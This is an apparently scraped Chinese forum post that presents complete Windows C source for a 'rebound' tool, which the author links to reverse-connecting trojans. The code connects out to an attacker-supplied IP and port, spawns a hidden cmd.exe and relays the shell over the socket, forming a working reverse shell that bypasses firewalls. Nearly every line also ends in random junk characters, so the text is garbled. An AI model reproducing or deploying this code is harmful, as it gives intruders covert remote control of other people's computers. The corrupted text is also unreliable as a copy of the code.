这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z- a
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/* ============================== &wY$G! P
Rebound port in Windows NT >w7KOVbN3
By wind,2006/7 R)*DkL!
===============================*/ R{bG`C8.d
#include x$o^;2Z
#include =$)M-;6
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#pragma comment(lib,"wsock32.lib") ,>b>I#{
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void OutputShell(); <,GVrVH=t"
SOCKET sClient; .?QYqGcG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P33xt~
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void main(int argc,char **argv) @>VVB{1@,]
{ jMTM:~0N
WSADATA stWsaData; , p~1fB-/
int nRet; o.fqJfpj
SOCKADDR_IN stSaiClient,stSaiServer; KfBT'6t
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if(argc != 3) <C(o0u&/
{ 0stc$~~v
printf("Useage:\n\rRebound DestIP DestPort\n"); V+lF|CZb5
return; ML\>TDt
} rq8 d}wj
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WSAStartup(MAKEWORD(2,2),&stWsaData); P* `*^r3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '-RacNY
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stSaiClient.sin_family = AF_INET; 1F`jptVQ\G
stSaiClient.sin_port = htons(0); Wj(#!\ 7F
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I@9'd$YY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m]AT-]*f
{ 0(eaVi-%D
printf("Bind Socket Failed!\n"); LO{Axf%
return; [#q>Aq$11
} <8^x
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); byM-$l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @ps(3~?7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ Y"MHs0O5>
printf("Connect Error!"); MWh Y&I+
return; @9B*V~ <
} U;MXiE3D
OutputShell(); 1Hr}n6s
} c lB K
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void OutputShell() '*b]$5*p
{ c;$4}U4
char szBuff[1024]; !=YKfzE
SECURITY_ATTRIBUTES stSecurityAttributes; !,m
OSVERSIONINFO stOsversionInfo; <:}nd:l1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tR|dnC4U
STARTUPINFO stStartupInfo; ;XurH%Mg
char *szShell; -d\sKc
PROCESS_INFORMATION stProcessInformation; PW5]+ |#
unsigned long lBytesRead; ?q:|vt
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pd|KIs%jl
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "o&8\KSs
stSecurityAttributes.lpSecurityDescriptor = 0; @KQ.t F*
stSecurityAttributes.bInheritHandle = TRUE; $eYL|?P50h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t*gZcw5 r
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {]T?) !Vm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8W\yM;'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ??,[-Oi
stStartupInfo.wShowWindow = SW_HIDE; SiLW[JXd
stStartupInfo.hStdInput = hReadPipe; )L:zr#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O[Vet/^)
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GetVersionEx(&stOsversionInfo); ]M7FIDg
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switch(stOsversionInfo.dwPlatformId) =-h^j
{ Y![Q1D!
case 1: n)e2?
szShell = "command.com"; 4S<M9A}
break; wjA
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default: k]~o=MLmj
szShell = "cmd.exe"; _K^Q]V[nZ
break; q+?<cjVg
} oD)]4|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @J[@Pu O
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send(sClient,szMsg,77,0); 1q6)R/P
while(1) mZ+!8$1X
{ ABWn49c.
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); im<bo Mv
if(lBytesRead) 4t,
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{ 7>N~l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^A$=6=CX
send(sClient,szBuff,lBytesRead,0); 8q^}AT<C
} fN&,.UB^p
else G:AA>t
{ >y3FU1w5d
lBytesRead=recv(sClient,szBuff,1024,0); QAs)zl0
if(lBytesRead<=0) break; a(gXvgrf[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '`>%RZ]
} Xw?DN*`L
} EA"hie7
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return; xl&@g)Jj
}